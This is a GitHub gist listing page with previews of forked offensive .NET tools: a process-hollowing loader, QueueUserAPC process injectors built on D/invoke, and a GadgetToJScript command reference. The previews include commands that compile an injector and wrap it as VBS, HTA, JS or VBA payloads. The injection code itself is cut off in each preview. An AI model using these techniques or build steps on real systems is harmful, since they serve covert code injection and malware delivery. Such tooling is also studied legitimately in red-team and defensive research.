SadPanda OG-Sadpanda

OG-Sadpanda / process-hollowing.cs

Created November 26, 2024 18:01 — forked from med0x2e/process-hollowing.cs

Process Hollowing (slightly updated to work with G2JS) - credits for the initial code go to @smgorelik and @ambray

	using System;
	using System.Collections.Generic;
	using System.Runtime.InteropServices;
	using System.Text;

	namespace Hollowing
	{
	public class Loader
	{
	public static byte[] target_ = Encoding.ASCII.GetBytes("calc.exe");

OG-Sadpanda / DInjectQueuerAPC.cs

Created November 26, 2024 17:57 — forked from tothi/DInjectQueuerAPC.cs

.NET Process injection in a new process with QueueUserAPC using D/invoke - compatible with gadgettojscript

	/// Using with GadgetToJScript (e.g. for VBS payload):
	/// 1.) compile to DLL: c:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:DInjectQueuerAPC.dll /r:System.Net.Http.dll DInjectQueuerAPC.cs
	/// 2.) generate VBS: GadgetToJScript.exe -w vbs -b -o DInjectQueuerAPC -a DInjectQueuerAPC.dll
	/// 3.) test: cscript.exe DInjectQueuerAPC.vbs

	using System;
	using System.Diagnostics;
	using System.IO;
	using System.Runtime.InteropServices;
	using System.Threading.Tasks;

OG-Sadpanda / GadgetToJScript Command Reference

Created November 13, 2024 16:03 — forked from 3xpl01tc0d3r/GadgetToJScript Command Reference

GadgetToJScript Code

	# Command to generate HTA code using GadgetsToJScript
	GadgetToJScript.exe -w hta

	# Command to generate JS code using GadgetsToJScript
	GadgetToJScript.exe -w js

	# Command to generate VBS code using GadgetsToJScript
	GadgetToJScript.exe -w vbs

	# Command to generate VBA code using GadgetsToJScript

OG-Sadpanda / DInjectQueuerAPC.cs

Created October 26, 2022 16:29 — forked from jfmaes/DInjectQueuerAPC.cs

.NET Process injection in a new process with QueueUserAPC using D/invoke - compatible with gadgettojscript

	using System;
	using System.Diagnostics;
	using System.IO;
	using System.Runtime.InteropServices;

	namespace DinjectorWithQUserAPC
	{


	public class Program